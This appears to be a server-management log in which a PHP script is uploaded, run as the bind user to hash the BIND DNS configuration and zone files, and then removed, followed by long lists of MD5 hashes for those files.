MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 13:42:59: Establishing a connection
2026-04-23 13:42:59: 

PUT: /tmp/pkp108468

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 13:42:59: Establishing a connection
2026-04-23 13:43:00: 

runuser -l bind -s /bin/bash -c '/tmp/pkp108468; rm /tmp/pkp108468'

2026-04-23 13:43:00: 
2026-04-23 13:43:00: 

PUT: /tmp/pkp728691

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}



MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 13:43:00: 

runuser -l bind -s /bin/bash -c '/tmp/pkp728691; rm /tmp/pkp728691'

2026-04-23 13:43:00: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
